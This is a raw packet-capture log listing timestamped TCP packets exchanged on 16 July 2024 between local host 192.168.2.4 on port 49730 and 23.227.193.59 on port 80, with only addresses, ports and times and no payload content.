Jul 16, 2024 22:29:50.664443016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664458990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664525032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664561033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664573908 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664601088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664633036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664650917 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664668083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664715052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664762974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664797068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664829969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664841890 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.664865971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.664912939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665061951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665093899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665126085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665139914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665159941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665195942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665209055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665230036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665263891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665276051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665298939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665344954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665393114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665445089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665492058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.665935993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.665970087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666004896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666011095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666086912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666120052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666136026 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666155100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666188955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666202068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666354895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666388035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666404009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666423082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666455984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666471004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666491985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666524887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666538000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666636944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666671038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666683912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666704893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666742086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666754961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666776896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666810036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666824102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666843891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666877031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666889906 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.666913986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.666960001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667186975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667220116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667253971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667268991 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667289972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667323112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667336941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667356014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667388916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667398930 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667427063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667480946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667632103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667665005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667699099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667718887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667732000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667764902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667779922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667799950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667831898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667844057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.667869091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.667917967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668179989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668214083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668246031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668265104 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668278933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668313026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668327093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668345928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668379068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668392897 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668411970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668445110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668459892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668505907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668541908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668554068 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668572903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668607950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668621063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668637991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668670893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668679953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.668704987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668737888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.668751001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669091940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669126034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669141054 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669159889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669193029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669205904 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669226885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669260979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669274092 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669294119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669327021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669343948 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669359922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669393063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669409037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669428110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669461966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669476032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.669495106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669528961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.669542074 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.712892056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752033949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752108097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752144098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752194881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752193928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752233028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752259016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752269030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752337933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752348900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752382994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752415895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752440929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752449989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752500057 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752500057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752532959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752566099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752587080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752599955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752635956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752660036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752851963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752902985 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.752934933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.752969027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753021002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753047943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753082037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753114939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753149986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753154993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753201008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753216028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753247976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753298998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753298998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753334045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753366947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753382921 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753401041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753434896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753444910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753709078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753741980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753757000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753776073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753808022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753822088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753842115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753875017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753894091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.753917933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753946066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.753962994 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754095078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754128933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754143000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754163027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754195929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754209042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754230022 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754261017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754276037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754296064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754331112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754340887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754730940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754762888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754776001 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754798889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754847050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754849911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754884005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754918098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.754930973 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.754952908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755007982 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755064011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755095959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755130053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755150080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755325079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755357027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755373955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755388975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755422115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755438089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755455971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755489111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755501986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755522966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755558968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755568981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755678892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755728006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755759954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755793095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755837917 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755844116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755876064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755912066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755922079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.755945921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.755986929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756009102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756145000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756179094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756191969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756211042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756244898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756268978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756278038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756309986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756321907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756342888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756376028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756381035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756572008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756604910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756625891 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756637096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756686926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756719112 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756720066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756752014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756759882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756786108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756819010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756834030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756850958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756897926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756911993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756932020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756966114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.756978989 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.756999969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757035971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757044077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757507086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757539988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757550955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757574081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757621050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757623911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757657051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757688999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757704020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757721901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757754087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757761955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757787943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757819891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757833004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757853031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757886887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757900953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757920980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757955074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.757962942 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.757988930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758021116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758034945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.758054018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758096933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.758336067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758371115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758404970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758418083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.758438110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.758483887 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.840666056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840702057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840718031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840734005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840750933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840765953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840774059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.840785027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840867996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.840912104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840935946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840951920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840961933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.840967894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.840982914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841010094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841048002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841085911 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841101885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841116905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841150999 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841516972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841571093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841573000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841603994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.841655970 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.841739893 CEST	80	49730	23.227.193.59	192.168.2.4
